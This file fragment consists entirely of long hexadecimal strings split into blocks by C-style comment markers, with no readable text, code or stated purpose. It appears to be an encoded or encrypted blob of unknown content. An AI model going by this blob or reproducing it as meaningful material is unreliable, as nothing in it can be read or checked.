8e1283fd25adf4d1866ad284c298ec5d04b406d83a40328c35dff4cf77f4b1e00c508ba058dcd1535bce1822bc44523f674761a7bde290e6cbdbf55e60f2f221c29dcf7fe56ac128a3d8380fc2ba2dbca8bce8086d9875d0fbaea336888e875719ae759b4739d73c0583be120d1ceeb637dedb31223fbb289ad04f679087cf8a177bb4dbc8d7086d3202456476acc6ecd756cd51fe887a97d7a04ade652cb988ca980eed726cedbcd3adda87f42acce2d7b3be3051ecfc22c6d880a55108e97753cc167b667814c61b3890f7cac157d8db13f4882cda7dc6133b24f316b73dfdbf7f7f33e745354950c2eb590b29b778cfbafb16a551277f41aef07ad92bcb5ff7a5c6bf16e46bf3022fb0b72a2ddd00b08dd8b1cd427a97a5bb3c92f8b259117b2f6a5877eac5d10a8823f9225dd2c4094c3083f367854197715f23b4f2fd18b6a1775fae5f84a5608861064de3a12c7ad2396911c3d6e9aa3b05fe4658a9095e9ea8b5f3afeaf34f6a4f3639183b8ec72574491ad014cba424f2a7b9ff80d066ff89db7fc619f381430b145751d8184898f3a40eb6f5c63e1ca796353ddc18178801017227518f55c693bf604461b5c8c25fa40b9ffb5821817c375d311bd13467c10ed6c5cc08b9aae56dd928b6a9fa16d7bbd0efe2*/
/*499e5011a07cc10dd913c43e3980809e8fa7d6789ddd4beede01c6c0d7946a67375d69e473b1c0cafea0106cb36c26c2cc1cf9027249743d8fe651daebd6757f1b7895337ba0272c5adc906d1a3d46159e01c153f6f7ed6fe4c7a33e72f2457977d1a7cfcd3a9b5d71512841f07fd2067a629fa59005fb6ee8918cd96769cad04e4f8dbcf8b6d63d88b500480e5fbb996a4f8f4df8bd893e07f83ca0bbe755033d6573f06828f68f5317b71528e71d18a511cf2182ecb91dae986c0e7d43fbd6fd04c86d110674bd82c8af67f10e451bbb6a8270b87b3aca8913d17850171691e46aa054ce0d8cbdb1e86d0ec82c75a255408f6e3fe45eb0f2e85a10b6910d336aa8477f4dc6ed329371e6b931262f315d215abeefc7ff2ed6f7f2f185d0de0ed57ac14a6ba91205c8dc3505fbc33098de662c1386d06b84667788ae9e9a90aec3a16da48126914065213e5867ee31cf157a677a8def55e0bc1a5a8390515e1022f49d43b2fc1353c112c5ab206d44d6d0d834828c1fe8ad5e6b946f81425f09a7b18e7d21de314a4733f77b2116cf0fc2d657394c6c42caa50406397a793f65a13f871adb1da6383a03db2c4b760e677c6fe4013ce92a486820a25dd3525902b18d7ace695fe8befa065c222b15909019bf6b1872cc8f20c9bf50912be4868f5f0ff56c07a39c6d954feacc776a76a7af57db8d474922ad30a44d0c6249d4e41260c76482e12400903c9cdd5c4a260003ff5a7b29412cfc8baf452630241d9da303779754695e1c42a659c46a6c1a4a60b65baa4bf8b8b1fd78644357dc205dd8d80999a60489f162a53ca6e42f503c6f27c834d9af7cad5fa9cb62df8dc4047806795e44801526a08be7164be968de125e30c213e2ae4b269f777a1656e8a8e06e1fe0e2d58b2be80f6b80dfd7aad3e9ba1b3ec7498178de408aaf03a214c6ba240ae695fb9480ce4bc2805b5ae5a518bd65bed541fa34f8d5c24d80400ac9327c4854cff14cd4603e6415c4112c2402675584bb5134e2782d44379d0399e0a73616bf28b355e369b0834e77b749c395bf055e17a97c6475eef473516e419a06fa913adde54a75b19ca4b4230f8e4d4d83042076495592ed51a3bb20ab1fecd1a6cb19d85ed775523e0aee31a0d5acbf92d8c9cfd4abce37742ef201afd91669485050844d608548982e72a816137c240241ccefc5e9f6755cf525636b9205a535dc66b7ec22501ca5e521350eedf5d660c874278b6f5753e1b697f496c5781452cb0483fd09f88efda74861da6cdce4b3bca34f48c6818e25f2b10740a9f1358cc20332bd44e156614d24de5cab47d5424f9256b270f06934363ed5d190cc589d743697b4bb5ff9f9bd4b085de8c25260a55ba1b1db4eaa505991e00fc09c14ff8a59c70d5037a6e32888ac6a49524b760a718637517fb6f84fc6273071cc85997730e6f468cba4a154ce38a1e469c1844dc3be0a59539141f296258dd97d350127af5ade1724f865ffc0ac2be4bb1717cae403427ee61047bf0147be7f7deefda75fdadb7f626d5e58d1acad30595c7a3bba4ab98105ff1b0aacbf3198d5c54e44b81aeab5219c375f236286cef26a8537f174e1a2827310e8f5fe07ed1411c0a1fcedf765a69083aaabbe583708ddef9b1ba263b1799a40fb2e903e76458a0188b25306e20c36e4d248fb6d4580aaf3269b3210cc80ff336cf285c3367fe89c079353ffc7d389c4fa65ad3e0551f251112d2f372e736256f8ba4a15b8880e635bc3b5fc1ec4116cef9107464515305db6ae8e9485c5266d3831b156b01657ae8d265d7d0d7592942e3fa28372ad2b1cda4a2823e6db53e4d5173a6b7db49639aee43d41fab54041fa15642e88752043dc3a97b039d59410ca08dd68eb8876ef3b5c69b177dda5bdb0093c3576fa3b7afbe3dc5f6c5316861079fd24e347565982b79d6e836a5092c3ba8314f28b99bb7de664e237351c88e50e1b3bd0f12f9a73b42f682ee28c3231e600ea310e9a52a95659f7f33c642544bf16f11a8466b71bfacbba0bf4d07df0928c3c98ef18d2523d72f34cd9d94df17726d8321e54cc532f6bbd545a53be208ffcfe2ea70f84bf4d0b66b9ef9e17de370a4105b5ae09eedf5b0bb79c41a3efa2d6bdf3aa0ad1c794efdda883ca422a21189c8905e3288b5e0b7097ddb3b6e2ce0c28e721c3d6e7cf6d8aff83b4cdaeda49d1e4b7ded4441147bbf5741fdbc873f2db32c22eae3a183b1c9c83923e3e4aa37d1e1293948eb46a660e2bd55ad1c6a390039b409fd448d277297f87d45ca70a4e3f131211e31e52a7ed31f7ea846600598e79ca2a11baf5b89be9446ce105170e7061e72386cc621bc9a408ba7ec79bde2c591d7bc76b277c8ab8efdd6de07c254e8d9e4135e2345f12c9717429ce509ea3f8698d873c18cf39e70d20f56fc89487f093ceecaf6d61f50c2713aec41b5f0ed485a7f8185b202f9aa6d6b0cd05975b9de9c4c1b2a0d769bbc2c048ba65da8295a708acdec8f87005e866da7a19d80d4bbf266f8edb98737d720f6a2f2948c9b339f6168a296e5b67cf58ca18043fa24773b6eee06d2bc6f8cdbf7161ec77b18f1c0a9e04019b0cb96be60b7bdfe0f008612ceca8a03e4349048cd19619c551e37addd3815ecc248c56bebe5e2b541ed98dd5fc6031ab757dc597d8166db091781ce968069fa284f6edc1d729b94c40979ecd2bf456115a7706e4dfb15841c5b89d04c7fef25bdaa58e068c0466d7ca18a65c575be7b41620fdc9f869d634ec9231eb9573104fe01fa0f792d01f19c4b51356c9b38737bfcdd3c59cde367d9d49*/
/*bfc054999fe8f96925cbffd851a2af06806c82f0f239623dc857568b98083e5e5e05e74d4027a35a1127da6f9ddbc3f6bc59fe39c4b5fd93a02f1a441b212948ac1cc44347a637e3f83d51bd7a0dd13d6e0936f5a2f51ba81af39a4d51438c64ea288e6a8980bfa7eb849937416fb915e57a21bb4df9b4a6b6b8f670234bd3ad1f5502636df655dae0063b19664cf9cb7ed94b207185506514d6be2f449c902afd02ba0ed5237b352d743d096e6007bd1884eb4107858df13379cd665683e22c351a7a682041cc6d16586426ad2b0813b13e2a428072dd6f30e7a1364f14931ef3f1cde25872e594604ee749cecf9273f64d7e9f47002d9ed333634b03ed1299293aa0a458b055a8208cca135c11b79dd09c4a8ccff17b02903dec5f1c3b0c4862daa8d3454e73eb9de921930b8bd577d089b79e190bfe7831dd13e45c3c0c4e1f216930761b6624b55756c9d1c60cdfa51fd0ed657cb3b1e510e28e0d2467ae7441eeda1fbeb93a3ef67080b50a0a96acf0d51dacc0d694e0ecf6b8321eb9d195c6ecaf3465d1a27d4a277a0ab8f14538faa3ae9c17f74b4bd6de869c92cf040e467e012daf8c3b3d676736cef07a9d44e70a0a8f888e39b8cec221ee674c1ad9cbaf3a847edaacd2ba881523471b7ff884d911603b22ddb054ecbcc3f5205a7d1f2dce54b574df347f953cd8c1430c16401b9481a15c5144d489a78837d02aac1ca6a92bc2508994df2abb9ce1fb4e8842d8fcc4e551f1d0e46b23f0372e575f099d23788475c80608aed9a8851e7df1c731b5e91252dd122c369d21001805727fe202768de62ad684f5df1664ce8af9f86a5c797c7bdc49fdb7963abe08674d35fa0768797cc7a8986430c7eb96f2326bb9f47bb6f8f53eb4912eede2a5d963dabaccda87757b9582938009a7ad0180327784a75bce05b71eb7d5582fcf6eef3f357e1491cc1e4c86ecf5dcec68cb10e0046b55381556cc4fe29581607bcd5a852a6a3c7d82d643374a1f294a4e151175bf4ffa19ee340f62a615943e7489f58f436ce7e21f84f33a2e64c797f73436aec341313c1174bcee0fcff9c00d57a16bca1b4454857b3c2641944e59f7c01c2b9b618c7df63884fdcc19de7fd7f696710fa69170c23781d93354c7c33f6dcdadba91f3bedbe00c7ec403a739519e9d2cf453313a654decc46a74898ec99ef1b08380827fbe94509fc08f2ab695d5ab25a8480f64d6ad96a3bbd625a9450aea63746859a4a66c39890809d9d471642b580a75ca357afce356c24d40012721c4e7a563e2f2495fcec262762fc19ad68b6c20bca3e004b89fea8e4c206d886913f2073681a66e7ddeb54c96b895011f4e0b78bf9fd395f1781946cc6a32cbd154f7105c15ff69390663f95f8c7ae698c4a34c182f58a7a965651f5b6858f3003982d777c79a41dc62d0e081b1b8db7ea24595152dc21dc991e506b5f8732bd573a70ce6fef14746a02d4ad55feb8f5e88d2c3973a776610f164b979a2b1b3ba9afebbcc19bcd3b5f30d06bb52079c525be3d44d859d6bbc718493e498a03718c10cfd9628c93091d2951a61915237c13d3c7e43ace985f5d5d4ac52397471fe3ab55ef8eaceae1cdd144f47124c281b5f915bbedfe03f01aa5e61bac2f411b6a522edf269034fdeb269660a825a616b99d26affdb33e4b3ab2ea16ab4211175ccab3e349b887fccbf1ab28b0e97e65bf00020d789bf5870f09391e77e96a03aa00513ecc9a5de18e9225d4627db07cdf2ba2fd244db5e5831de2ec2acb8543d466633a23c5654e134e5fb684fd62579a221add719f76f9d515cbe1d5b25e0ea45535d68e6c4eaf4e3c8c7ecdf0d2f56cec236cfbca7f2a57e97e52f9b1ad35af59a51d77232ead10fbe26bfdca6eab7b1548b1f58d2786c3f2c01695cb79c00c9c10ded5b4da0dc967272730dee5bd5bc22b1aaf2b50a3e487da8b524ebca1f96e107044511388beeea8a948ef049c2c354f9abdc97e3a93e88eae41de6a770218d946a75d618c87a3bc8fc7e9ec21a84e355a8cb6da0b97db6306a6709ae9cbcce55eb90ca78295b38e0793d71df1c639790dd2958cd3e15c1035ebd1c70a2965eeaa3426de5b1e6515a46e17f50e16b25e73bba3f8031f32741268ddf2d9807b1e4bd546d955d22849772a327c2e67ad60305213f81e5d8d4e9f97793bb9ac755646ea060b7455a11f5d907a5e20ad180b627523f9277a943164c3e166dcf1ad13f4565dbfbce0c73e545594a4605d730517b4c90b4ecd87183ce62b3d0a6d9a0bffe38409480bd1f82e947ae8830b7d2935f3d81af955738ed814fb21c9cd1ac1eadd0c9884d6a0b0031814a51528668eef37ede1b5dd4321ced71e6310b5d366f5b03ebb31192a425b83425600b0201d4d2841a74e02491d255975d5dc40e4b8a3f9fa523a7298c8d104d9fbbfd32da7c7466ce2d63d5d7124444d212b934c4e9a58dfee90d654a13193baf0eee83b4f48987dd26d83cd9fda30a2d191d34a2c105085e73c3b9b9f198b0240366ac190ff01301eceabcfa077376d75e1e3edad993479d3e8882569276d114905ab45d1090eb0d6a05006074ff80fb27c7aaba97a96b8721161435580955be4363638b783edc994324599295d36278125e6bc9df6bb7f2528fc5ff311c5e2b79cda59ba76decbc58801e63e8d4f89e428fe7382482d8484a211883a1abafdb517b6d091c31a3e685095c3f921bcdb19ee693d5af0ddfe493a10ffa75bda64841832ad013f969d0394224740dfdc7914941fcce977773dd499a2a86d1ec446bd640e6363b73a9b910d81a0cc5505fa60292*/
/*80aa6fa2f8123eb2d303dc692ece11ebcffa846e3b92d078063cb175d835885159e5fea8a8845af6ab332aaa53ee7419db0b6a6feadd3f64675309f772124544156f6538110c5f565ef8494985e794d81b1f3864a3e45d09874187f12fd1855092a9b3cf0bc9da56e163465729c0cd8d9b2a20df0d221404b5f67956e95029043a66528f17f70b611ac25e51e4c0bc2202bf37afeef8fcec9120e0fec9082bc2489de0a1a8edd95884a32e562c2b6df6c84d8d5c463fcc50fd9d53ced813603dd74777d4c5bc23db58dea59b34f952d9f615f810382a67822fd0883062fd0d3624cf634bdeaa0ea50e258f521f98b425f216574ec6ef111d375b2a4460900322246a1880df78ba6dff230ec9a2f7badccba1aa44f61d775be5c3a3eb176c2b0753745f3dc08a354f03ab3eebb262c3bab2801ad4e5ebd90d2b2532dd46d0ba81de8f0ee544019628a7db1872393e0694378a37d2a3c632b5cf9b39b18c89ad3a170c62b2f386b6d63d4e0bc827a3e632d0c1c426a190f71c201d4ec2b1db5aaffd2c14d35004905fcac890a37388de6f9a0a597acdab2ad7c7d0ec7fb87e084dd1d9a8f185ab3f392b39c914044686fecbfdda615515eb0fd3274db115d387d51505d791cff86e8c9e992625be44cf04081b0b0a35179c76eb77fb26558586bc6de8030f92bad6daf532ce4ea092e4665b08dcbddc19fedd90434b129b6011d5fec55c6330cb5994f98dfa91b79009bbff9a945277593e655962e8dfe30da864f6e0b42e08ac737aef8fce920f416e61862a918524920d6b1c76e5a82ed94a3dfbfcae7d564f4f96f16ce53fb4ae9fdb7bf6b56eead6bdf0813dc23109893c10266d47bef2b294060b1487ce9a385850357cc67fb0d8a784f59842b371dfeb580b450fb17e2a94a19576a0e90126c9ee7dce4891053739e6de4e46f880767838121eca54034a558ee471bab875c4293054944b95ade52cd7f5fc3d8e4d8775f032d63868762352fa0aac13d4ec09d208626fc1fe9322dea3b28e3a9afe44a144773cb881af395a71f75bc9d26a400bbe48934b7bc9ed36f087d95decbb1e346e5f8253cc942a3f3a9116d09ac47bc29d0e97637cb138729ec4dea8d19adc7e0136aed01f4c3e0f88be0e37b5288d433e7fd91c1d65728a332371a0814e9a82b05f59d05b04e4027fdd3b3285aba6ae572d2ad4f38c1578bbe7f4108cc726b1ce2866527cadfd96f7c49e4ede9687d02c787c150b4b6c22c90b3a765b1b4ee5ed510c9a12ecd11a9afee786b04daba83b939200c6e50ee8d355f8c542e39d1146c0e4a267233fdceaf3456d97d7d2508a22bc38ce76e9ab0e23d349b2c49cf36289b572aebb3bd1cdae962a873593b97f5266a84b20b3edd5c8ae24b30ea249f9ced7f004f0d1df74ff4ab9bfe6b46273b721fa5b27332e7a6d8b171966e0beb352538da1b0dce30333a0ca3ed252db2d2cd2fc855c691eae928e04c9ef599d1f2db9fcda3d8d6c6b3fe71ee16b4ae7e6c6eebc54814ea3090983edb3ded1f8875d820273827a146dd2cb5254939224cb0cbee94a91f5bf4175176450a88a8c84ea00613a2394a8373f880396195cda9afe6379b062b458bd75f7bc084faa3fe08035f2b572cb02fe69d693e246ba0e0381fa9b3046341b6726e2d4d3c5c483a86e1ed0146cf8b47530fea39f397f86fd075d6d38fffeecbe5411afb9a31af19a595ae5f011c74a974785dd4fb55fbeac28a05843320af29721d79b3d55013fe9653ff53ada1951b07577e52ffbecc48ac11dcce0f739e8390b6ec85de3ed0b3db5757bff26b2a4bbf0ac4d988dbebc2d842803a67cc4c3b9600a0a465adfe2acc4f06e7e292076fc6414fe55ee443071b3793ed57249696903f1143f50acf753b2e5813d07f0e34e5e47896b8c1a3d11828769e6a3f12d50cbf58bb6c5d318cac80d2fe8acb3665bdd8b13a8afb369db125f216e3968253d5e46efab2d328cd59fbdff99de326e6872fd25957d202e8e099409192bc24fbb0604d33c3df3a6fa73204b27091ad3e9aba41a54bcfb6f864d71cc61b717cf297c6fb3a9f4d3881768ccd0ce78a5e51c1264e7c8ae1800867b9227f08b74ae9c0b2cdd2dd636c34328ab06b92e9ee0ff5486480af0d1fec78acf2cd8cab3d9bcf3c879bc75cd88445519faa98316534cbb9a3e987b80ea7cca589fedfb6246533de413acd794ceb7466385b73341c130d2359f06dffd0e860bbb2e624433900a7abd58c33b6c47a6158724726a51266a0016731fae1e03c72bed0efeaeacc513d9b2785eacf30986a2d1ee78f33ee939608556bfee663544f1bda8b9e44796e16ddf9f7c40ad9dd29a411d5992ff670741558cfdbaee5c7444ccda7934faf45ef67073944713a2702aa0ef63861223db5782d7e5f980f1448d1c28159251dc0a3c3f0abc56cbcf9142346e1a7db9336caf11cd68feb63aa4cb9c7f016183f7684f032898feb463b7d72edc08526e1930bb021265616ac2be63ea532cb5a3efb26ed847c3d70914734b89d7bfdc9da6c06c207d927773ce52b5d45bd14963229648c36cd4154b3f1ac8463b00cf32dbba44c95c07b40cfb25b16a99a30a372af78ac4d935ff2bd78a90c5139a16e4e6a14ad72f294d065b4d0c65794a10cbbe8a9b074c015c8e27e0b6e363233d2030394cafe434f042a32ec5407168d48c1d5d5be8de20a486d3b5e4623f1477cef32c2ee1663e2c5de95cdb7f2d48992fb180dbc9cc813b60b1e1006e3dfdc457bcc3ef36bc3a2dc9fff9894935f945d5efd3e138a5078c4469412e3b76c63fdd78c4561ea44d1adb39af*/
/*9f583c38a0809972cfacb44e6589589210bcefa1807f1cdfa01410f88a6dde6f2c23c20116779665912259e8ba7d8422970087f9164847b2e59b6c2859c0a89968b28f47f1e552c08d96327f27c7d83bf8b20c6e3e03fb3af2022bf0b86b96636b538f6b14f27c1d58fed2cc29e1e09b1712f9d66177793fd49a92217a4603facc75dae06c4637a82da82af5f23a1a8699544137b765cac8672a6f9fd31baaf4d8e85b3d827e22f338edae50477a7cc94bde7ac6584f18ca3f2f3e882b38f27e8969753400db8ca58cb5bb11a0b46bf20bc622c6cad9a8c9f0d1198d5a31022c4945bb97cba16fc1216582bdb029a54f2a2bafc203eeea9560df397ea8201e92a08327951d88b1d46a55bb0ad3bbb870087d943fe679f61ce9bfeb6ce8b47c1529bac702d5ff1aea401de01adb9fbf25f3bd872d883aafe43792774f16f01e784212bad03ca8016c21383567482e0c6450b422c66faf003497eda3c16252816ac1a8ba08401d2c04a83515111cf7e371874721f94a9f0b8ac1890bc383b3f02c19d1bea96103e16dce1f1b74aef9a828acc12d7853078a0590a7bf40d7694607a62ab6a3308e2b9aaf953917012ada973cc3240e64c8c2d772c29359d6b406341eaa8012feceae05aad3084949018cfa94079518ddffc15828dae750f2c85a44a00f5354a1918f17591fb62605e71f6931fadcc2a1b414a4e0259fd9dba58c51fa420fc21adbc64a1b7cd4723693a0aa02d62cdd6e487d995120dd86d756ea9979f0eb952c38fd0aa4b58f186886c8fb5a6e3c084798e3939674f1a10d13a3604368be8b6af1e8f54d36123b440671d1b1f0ffc17380d67ffff17f1a8b347922b12d8425245e96d5283a95ba08694c2b25b08e6057b659f4b0a7704c79cd5f10623fd8abb1ab13723838512f6ea4f0004335b99cb4fd58b0d204823ffefde277d7c2365929b60ff87556e3878b815df6b4754ab94e1678f8a4dcab50ec9520cfb81411050e2a48c62f77d656a1cac1a8ddf7472d89a01900305d07a51662366ec9080121d1974a35018caaa17ed1f8eebcd48fb2b7cc0f067491fd4f8474ac0a805822eb99e04581626750802cd9fea08ca489e0c69c00d8e307309df806e0699d7461154095f29f0e39c50866559e3abc1429b4082956e9db76a456e92cfb4297c4fed89c0bea3159c3ca62f5fa4b66e259623af9d405073c21a7fc77181a66d90fc67a606f08159a1e3ae4555c0fdcfbbf34f2b7237cdd7e5c77d709cfc18ae8cf7f5d24ca71239b25c4de2c613af9162508769b5638c22c1fa6c19247d4623a12200bd8fa4bf4a861d60d8132dc1e1ba847e6e35f3c0d86b569a942179a30036e55f5d6d53a5e53ad19891eb2759abaf32a2b34c2eee79c220870681370144dea4c50fb12950eac9acc3c88046cf67230b7008d47202a974d095d531d97dbbe0725933a02fdf208fc26a85c212236a22b587c6f89a66b9414d79ac11e49922eccde66bfc278ba952581033e3a2dfde044413a87d9fb9e43eed850ea99be2cc28d50eb61d588ae710aef965ec5432de99aa2b338926725c9b44a7751d5c00ef2323b1d1e437afe5538732b0d7a73dd6245b7c806a37f63b7205a828d6e5141200f586842a65dc660d7f96a699c2b09ed4b8d9a049663389d6cc69df45f47e086d69aabe805b6f85d70552828e446a5f5809f4e8593d176ae915f5debd798fe03ca2c3adcd0bb97dcff699082b4eb344569f6b5c8c8d2d62fd4c5e054595ac802f4874dcf4d64a7cfeeb4d122cf99df871217a44eb972bde54efe79850f61c6896dd60c25a65d4cad85624ceecb43b2cc246b7ce9e34dd4d6956cc4dd3a9c1041604cb6f51b334f43b5943da3d94aee286c82bf55589ae992e96ecc1dc6222fcdcb55d091d7e205bf0ef53c5e8c44d129984dd5c3d372a6b6486038b8a64a131a95b6d4c5ee159b1d8269fc8b50cb7e1ca52a16e3ebe7f634fa56d7daf58a7fb3d693b7f4e6d012002837e644eef875258589bce33287fa563f3c7903dde5755baf9dcc22c964d7a9d5d6065a5ee1af3decaf636fd34747f91b0fc888b9fed9aab580eac249077a8c4d42a4e62fd410ea819ccdf48640cfa776546797d4f430fe5ed4690ab9556a13c4bb6afe06ae673d672f5c77c17e0894793a41065ac3b4f6e1b04940fbe927139497f5a6c59e3937f96e3f1b3ef150dfff3004a6bcf5203a59ad8c5d629c4da266bd0ccb68a44065b7a47700e9cc62b6d4b42b24defee0afd1417bf470c9ba2c56e62a5e591a233470da58e0d78515a1b22cb91a84f053c7b56840b484d276c261da7f6cdf0faf00fa5165e30fdebffbad1762c6f6a5b9417365293a158b84b88a3c4439faedbae5b231e825ba79c969a3c279c243bb43950cb4cf18fca34de054718cbc30884d4d9100e081440e50b1b19de9b79a378afa383926967619c7b974ab543b238d20dfcd68738b7586295b298158fcf7a83afad265870657dd48dfed7b73e9be2cffcb7f8d77dda6879b4a90f2f6bd6cf796867977e85e81f888fe8c55ef7f64a3a27ccd183c58b925bc84832728dd3d4369ef9509d2b7511fa6832ef5147a983bb3ec2b86b31d4a0162fb971b95f69f1c70564cbe7fa50ca5e95ea7918d3cc599eb979dc9ac44c13e85255f652cabd58b9e9c47f148a766445895544558e17b1b13cd04b7599b14319859ef5077f0d06246315968787a741e372ab52a9668968def8cf2cc1747b83d5a0e5cae1a8068c3cd6660a6756935ab7486c4caa5d1537fb19b83d28664af4de46ca98b20b2241a72f80f238fbd993aa8e84d9f2fc2887d22*/
/*36f42a1eb39de8283b2f01cea73406828fe617bae8bf19056e158056c9b1314c184fd43a3a7172804ecaee3f0ab48869a4ed6cbce9edc5ac8ffebf1baa4040a06081c323da8daa6a515e8e94605cb7bc12a0dc16574ba983d3dd74395317a43b18439cb7d07b33e176bf37a88ea8c43af80f5e6bb692b486e6633231e5fcb6d7da765e3ac09bc371794dea335e84a97ee7d6402325bc1ac72b74300dd25a89614f008e226bcb4a51d400daebfada85ea2733558eac3e3827fcb1a6c793b24c3799b691cb690603ef6ee4c378d751550413be967cfa01abb01497ef4e301cd0c56bbf3ce5f4abac2a93bfeab4e825c60524e2caee99c439cf68317ade701e14d4581d0687b4e846e95bdfbcdbd862e09c64a7fdce8a6d78ff641f0207781eb9468605e6410a657f2f3667f52809962c9b765abefe33be0099d69455f6b705dfcca199407cf70794ae2fb146616f7f25af101bed49fc7e55e024800c058e174315e5e6191df0452f172d0a755aaf760588edae876436af789d9a9def981c3d492fdde7b330c34be7ff7b4c076df1b58e78ee3dab49b751c0ebca17c27c3aa3729e7ce79f04cd09e90d298bd231994620e356b7e6dc6f91d23375c38e9df82a6503105817f870442f579e3d6a885d4392f9becf0c42d4b03dc8fd678ecd79fc713318526245b946b5cebaf7a255bbbeb71006a0883c9071eb0de5640b858a0d4f6014245569e8638ddab1a9f2ff3e8c0b215b5bc88a95d2fcfab063bf3103df3845233735794a4f259fa0212224bf7debdb0eaa2b7581264dd3ef8f7f687f3abf3af1b0d165c0fd068212d0c4833b9596f693aaebd7e85448701dff664595bed6157746b7eccb259f6f8bfa0fbe4fa5461ac7cc2f637c74318d984cb65ef5f8729a173aaebbb36c2b55f42f6918e82c969e9a590e02bbef88f0752235278a6fad50ac9b8ad70f392bb3d9a1cd1afdf02dd6a515552a7523a480c888ab4fd1272daf0744ae636e9763818a20b040104b6342f1b746347a6404fe2cdd688c9ec4e5c0b4c620921e40a973fd84574534911ee784b1890cd9d489e09089c5a479a15b2a9096466496cbb2d96e04e8de0afe6dab18cfc69c6b649f9a7cdf50ce84aa517ed4f0d2a1bc578e37e0f0e106201d23959fe312872e02fcd1221e3cfefb3f8bba8d107c710ff21237b5d73689fe9c138c2e7f44e26d947a96d217705aedc42e1ebbbad0832bc31447da3cfdc1bcfb3b35efa480a1ec4bc93df89bdc7a7880057dba1f16565826ade1cc9a91b9cc3acd6bfd783ce87dca1a5f936ad1821e4790be4a6a9575bc0b56d2aaf740539cc76252f12a4230f07a9bd32fa40a8050f43ff7c232e1248e7da7139164af6e17129822994c43c529499b84441afc8dced02342b5ce9fc3a76cfe85852334e536819abc7712253af32e12e3c20b1e0284264372b44c21a02ddebf9773f62b83c38810d4496e5a99d6c5386800a57300e58303698664c09b76255a172357e3184ee7ff01f69f55ed88e26136adc200a9d9776109595719f89608710912580736ba34f6c7b55693fb7bf9818306240a1d441faa83cc157e05021b3cbd693ef8549abeef918cc99563a2bc65ea39b89f6a0e76c07b52789c962af47410fed6ebdab9b13fa22058431cf8b3175d2e8a542778cc69143b03cf797035873e0035137f32c3d587d932c23c5500453683cac2147789f9d15d5e975731a09b4546be17526fb294bdc1db14118030304433d2787191eddab8e00a01cd6f1e7fc40a78ec8678240874b3a66b26aec1b81e9d73d3c77d5c254e44b299f3994d7e95f78fa0ce752d69d54e9d120c3320dbe7f5e2b3edc449b1539d2a99d3dec202785cb36fd87b78457d6fd25775ab391d03b3e49b76b4993716a9277dde4cdd34232206faa2d7b8e6e97eeb39e744ef0eea48ba8058beadad39f94d59405d73a9cf3891a0252f9dac6c74f25e3a08e6d922e9a2248775952720ecd17f72e3f4db1807afd360001d14a7bd2aa680174056bd9e56a8fb94e096463f0879bc324b4b324c2af868713bfdfc41b7dd3e3298a03a05983f27819896d4797302d152bc3113453fb1b4a73624a2a7f94f387600a3e82e5a32598aa1a6422c37b1c50ec2229e74a3deda445b03d4658e5cd3b69eeff02bcd2ddd7089e3b1e0604cf6d77c086730f9bc39af73e258386de62f778d6e4434d794ea9a40d26a4618c38b5dfdd27d6e3c222a7647ef59347974db18ed1a84d74da295721695705fb5a38513038942ae318911871fc3e154b261ab207a447d9e5250d42de95a7fe80c6cc231b13357bdbaae75092af6fb40f066bf61f683257cb1396f9b7be9c22236580a676668f5723fe71f3eb4871e8b9c6aa874923c4ea225c1a3d274e8a3e692b5227ebefe7ae50cdc4478760e3124b71271d3df3b70284defdd4465454e3262e76ec8ae15a5da063584595c51ebba4a634299a00c2608c0ab7791ef633804802bde1263a2bb1f107606fe8978d8b0b200370a494fa486b17c5f111df83fc0e060fa119d6407eeb8489d4c7e5dea14e195b5d469e0c9b52554a563d0f35598f0cd1014b8ccd35728d6cd66c32730265c8ed7f60868cff5ae1303f04db905f5a955cd785790317928a586f08842d721ea4fd044a1620c68cbfb7abfe2dc059e824a5680eef0b3101f5b0d2ac962f14ac9622a4fbd20c031937089dd330b63876aaaebb074cb311a90d0652831a7a9fe4f15962e69ee62dc0cb06fb0d0b39375f7aafd07090238f766393e39298120cd878064c7671ec3b69f9d5c13def81d6191be3cfe1d2bd87ea4a9c2400688b6*/
/*1ee6d8ec8827dde3d44e31549ef7cea2e124e7ec8974b876a873d4fa8ef7b87f2a9c58143d68764c35c4415410c2d6fcbb848f45846a5a0f64373a99360300a457247090f5090f82894922de9d2655a2f8d03e0c38ef5a7428a813d02b363871c2175e4446d9df0a464f577273465edc9f68233790ff15565b6a1dc0b1537cc5fa3a806b558d71e9493590edf8c79f6ca8d291f4a6b07563375251e75ec3784aed2d30392d64aca3971872c85f9b1e1ddc41de9d6ebf4b0ab92b2d46598f389d79885750b778c1e0abeae806ff03b6d97b7192373a537b2ea480281169017a0425095d7868b43e8b674515f5d06da2f619b484dc12b1b45f43550b9fbe54fa823e23c3cbda487858f74208da7626a022053248b40138c9dc3a24eb8a0bb5443f683c61687a5038c76abad4fc8c149354a9a9db8f29f17b0307750195c9b2095a1224706176f70bc41b47eac3a5202c51abccec20a8fd24cb5f23f6a11462b6c89dd78799afa07e9b5874c3d8722718332e4552a14ff68eecbfce8bf0a7e746c0257b3f7d1140fbdfbe3b65768e44f7cb5536c4e267ded268bc2d2d774bef51df77bbf2fe5d4347d1ded6bffa87554145f028595b4b1627b27ccc6b378e3051a1a5f0a060f2f37033413553ee55eb106f9e569089e40a18915d79c180e633c0bb8fcbeac569f21674465a67642076baddf568fd3e2b3f08524d98fa96a69a1622fb0ee7910c8139eb7bb12090793aca9671cd8275e23988e22c9f18b646890df0a9ae78fd1d101f4dc1be491636997075e61b33ac0d8db7528d490138b5255450278e58846531237f405809f987f30cf2c8f15ca6a6f7cdb5585eef253b64c488bd21b392557fac6770cc16fe0f2cc9e0d64836473a182a5a679266f5e9dcae5310f4fca9481e187827f6c44fe1210bd6787dc02737efb8071a05f5b70fef6248cd562bd2c9487770870d30249a1f29385948f59a4357d7d1d94d1aba024297865239875a6f4879ce304e6fac149f3c4c0ccca82d7868ab34b49d91f13b343ca4d558cde32d6d33f42e949ed001aacdcf22b23f4afaf0c1167508a79a4f2da227fd9b2bc01cc8005a5af3052cfd25e40990bed5adc7fdde69d9151a570d5d7e8816393c130c1936c1b72f89d15902811fd9f5f5eaae7b535a3a6c6a93cf6b07860acba9e3d2ccd6368679123708be827b4e24a82735e07fe7087ebfc62968ace6b7ee578991735ebb017a145ce0903e38ccda9b1ed1467bb6e67594cae223eec555a8b00d97ce8e4632a77c13a60322cfdc750454b81bfdaeea45af3c871c9e1d9b3f29a1b4e250b6bd929493cc836a45dc75ce636294c69a270f14acd6fc5c80f2d24c7fed049f3f4225ec634e13f0d86a5e7620f558d922ef8bae7c606b26fa6a18e6831274fbaf39daf60ae146bb55e6de865f8034bd95eb3dca17a6023bb3a1381354e1e9f8e141e7c5fc7593598008307004f1d